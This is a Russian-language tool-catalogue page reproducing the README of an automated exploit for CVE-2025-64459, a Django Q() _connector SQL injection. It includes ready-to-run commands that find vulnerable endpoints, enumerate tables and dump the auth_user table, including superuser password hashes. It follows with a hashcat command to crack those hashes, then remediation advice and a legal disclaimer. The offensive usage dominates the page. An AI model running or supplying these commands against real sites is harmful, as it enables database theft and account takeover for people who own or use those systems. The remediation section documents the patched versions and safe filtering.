Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/rafaelchriss/redteambrasil-cve-2025-64459
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз Данных
GitHubrafaelchriss/redteambrasil-cve-2025-64459

RedTeamBrasil-CVE-2025-64459

NEO-SQLi — эксплойт Django _connector SQL Injection (CVE-2025-64459) | canal RedTeam Brasil

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1 месяц назадЕщё не проверено

connector-sqli

Автоматизированная эксплуатация SQL-инъекции в ORM Django
Q-object _connector · CVE-2025-64459

cve django python license

🎥 канал RedTeam Brasil — практическая безопасность на португальском.

root@kitploit:~
   ██████╗ ████████╗██████╗    connector-sqli
   ██╔══██╗╚══██╔══╝██╔══██╗   Django Q() `_connector` SQLi
   ██████╔╝   ██║   ██████╔╝   CVE-2025-64459
   ██╔══██╗   ██║   ██╔══██╗   канал RedTeam Brasil
   ██║  ██║   ██║   ██████╔╝   youtube.com/@RedTeamBrasil
   ╚═╝  ╚═╝   ╚═╝   ╚═════╝    только для авторизованного использования

📌 Об уязвимости — CVE-2025-64459

ORM Django строит фильтры с помощью объектов Q(). Конструктор Q(*args, _connector=None, _negated=False, **kwargs) принимает специальный kwarg _connector — строку (AND/OR), которая связывает условия внутри WHERE.

В затронутых версиях это значение не очищалось и попадало напрямую в SQL. Когда приложение передаёт пользовательский ввод напрямую в Q() / .filter() / .exclude() / .get() через распаковку словаря — классический анти-паттерн:

root@kitploit:~
# ❌ УЯЗВИМО
posts = Post.objects.filter(Q(**request.GET))     # или .filter(**request.GET)

…атакующий контролирует _connector и внедряет произвольный SQL между условиями (работает для SQLite, PostgreSQL, MySQL и т.д.).

При DEBUG = True эксплуатация становится тривиальной: страница ошибки Django возвращает сформированный SQL, базовую таблицу и количество столбцов — именно то, что инструмент использует для построения UNION автоматически.


⚡ Возможности

Универсальный (не привязан к конкретной цели) и автоматизированный эксплуататор:

  • 🧭 Находит конечную точку самостоятельно (--auto): обход главной страницы + robots/sitemap + встроенный словарь, тестируя каждый маршрут по FieldError от Django.
  • 🔎 Обнаруживает уязвимую конечную точку и DEBUG=True через FieldError.
  • 🧠 Автоматически определяет базовую таблицу и количество столбцов, считывая SQL со страницы ошибки.
  • 🎯 Находит отражаемый столбец с помощью маркеров → извлечение по разделителям (не зависит от того, как страница отображает данные).
  • 🗃️ Перечисляет таблицы → перечисляет столбцы → дампит любую таблицу (на основе UNION).
  • 🐚 Интерактивный режим (меню: таблица → столбцы → дамп).
  • 🧪 Прокси (Burp/mitmproxy через --proxy) и цели HTTPS.

🚀 Установка

root@kitploit:~
git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py

🎮 Использование

root@kitploit:~
# 1) подтвердить уязвимость
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ check

# 2) перечислить таблицы
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ tables

# 3) перечислить столбцы таблицы
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ columns auth_user

# 4) дамп (конкретные столбцы или все)
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ dump auth_user --where "is_superuser=1"

# 5) сокращение для пользователей Django
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ users

# 6) произвольное SQL-выражение
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ query "sqlite_version()"

# 7) ИНТЕРАКТИВНЫЙ РЕЖИМ (меню таблица → столбцы → дамп)
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ shell

# 8) НЕ ЗНАЕТЕ МАРШРУТ? дайте найти самостоятельно
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ auto              # только обнаружение и вывод
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ --auto shell      # обнаружение и сразу эксплуатация

С --auto (или подкомандой auto) он выполняет обход главной страницы + robots.txt/sitemap.xml и использует встроенный словарь маршрутов для списков/поиска (EN + PT-BR + API), помечая те, что возвращают FieldError от Django. Если вы передали неверный --path, он автоматически переходит в режим обнаружения.

Опции

root@kitploit:~
# всё через Burp
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ --proxy http://127.0.0.1:8080 users

# или через переменную окружения (без флага)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ shell

🖥️ Пример вывода

root@kitploit:~
[*] Цель: http://ЦЕЛЬ/list
[+] Поля модели (6): author, content, created_at, id, status, title
[+] SQLi подтверждена в `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Базовая таблица: <app>_<model>   ·   столбцов в SELECT: 6
[+] Отражаемый столбец (чтение): позиция 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──

Имея хеш суперпользователя:

root@kitploit:~
hashcat -m 10000 hash.txt rockyou.txt      # Django использует pbkdf2_sha256

🛡️ Устранение

  1. Обновить Django до 4.2.26 / 5.1.14 / 5.2.8+.
  2. Никогда не передавать request.GET напрямую в Q()/.filter(). Используйте белый список:
    root@kitploit:~
    ALLOWED = {"title__icontains", "status"}
    safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
    Post.objects.filter(**safe)
    
  3. DEBUG = False в продакшене (не допускайте утечки SQL/таблиц/настроек).
  4. Пользователь БД с минимальными привилегиями.

⚖️ Правовое предупреждение

Инструмент образовательный и предназначен только для авторизованного тестирования (лаборатории, CTF, bug bounty в рамках программы, пентест по договору). Использование против систем без явного разрешения является преступлением — вы несёте полную ответственность.


Сделано RedTeam Brasil · понравилось? поставьте лайк и подпишитесь на канал.

Скачать инструмент
ПараметрДетали
CVECVE-2025-64459
Компонентdjango.db.models — Q() / QuerySet (_connector и псевдонимы столбцов)
Затронутые версииDjango < 4.2.26, < 5.1.14, < 5.2.8
Исправлениеобновление до 4.2.26 / 5.1.14 / 5.2.8 (или выше)
Воздействиепроизвольное чтение БД (UNION/blind) → дамп учётных данных и эскалация в цепочке атак
ФлагНазначение
--path /buscarуязвимая конечная точка (по умолчанию /list)
--autoнайти конечную точку самостоятельно (обход + словарь)
--wordlist rotas.txtдополнительные маршруты для обнаружения (по одному на строку)
--base app_modelпринудительно указать базовую таблицу (если автообнаружение не удалось)
--proxy http://127.0.0.1:8080направить всё через Burp / mitmproxy